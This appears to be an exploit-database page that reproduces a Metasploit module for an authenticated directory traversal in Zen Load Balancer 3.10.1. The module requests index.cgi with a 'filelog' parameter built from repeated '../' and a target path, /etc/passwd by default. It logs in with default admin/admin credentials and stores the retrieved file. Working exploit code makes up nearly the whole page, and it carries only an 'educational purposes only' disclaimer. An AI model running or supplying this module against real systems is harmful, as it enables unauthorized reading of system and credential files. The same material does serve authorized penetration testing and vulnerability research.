Zen load balancer 3.10.1 directory traversal (metasploit) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-04-23 | Type : webapps | Platform : cgi
This exploit / vulnerability Zen load balancer 3.10.1 directory traversal (metasploit) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Zen Load Balancer Directory Traversal",
'Description' => %q{
This module exploits a authenticated directory traversal
vulnerability in Zen Load
Balancer `v3.10.1`. The flaw exists in 'index.cgi' not
properly handling 'filelog='
parameter which allows a malicious actor to load arbitrary file path.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Basim Alabdullah', # Vulnerability discovery
'Dhiraj Mishra' # Metasploit module
],
'References' =>
[
['EDB', '48308']
],
'DisclosureDate' => "Apr 10 2020"
))

register_options(
[
Opt::RPORT(444),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
OptString.new('FILEPATH', [false, 'The name of the file to
download', '/etc/passwd']),
OptString.new('TARGETURI', [true, "The base URI path of the
ZenConsole install", '/']),
OptString.new('HttpUsername', [true, 'The username to use for
the HTTP server', 'admin']),
OptString.new('HttpPassword', [false, 'The password to use for
the HTTP server', 'admin'])
])
end

def run_host(ip)
filename = datastore['FILEPATH']
traversal = "../" * datastore['DEPTH']

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.cgi'),
'vars_get'=>
{
'id' => '2-3',
'filelog' => "#{traversal}#{filename}",
'nlines' => '100',
'action' => 'See logs'
},
'authorization' =>
basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
}, 25)

unless res && res.code == 200
print_error('Nothing was downloaded')
return
end

print_good("#{peer} - Downloaded #{res.body.length} bytes")
path = store_loot(
'zenload.http',
'text/plain',
ip,
res.body,
filename
)
print_good("File saved in: #{path}")
end
end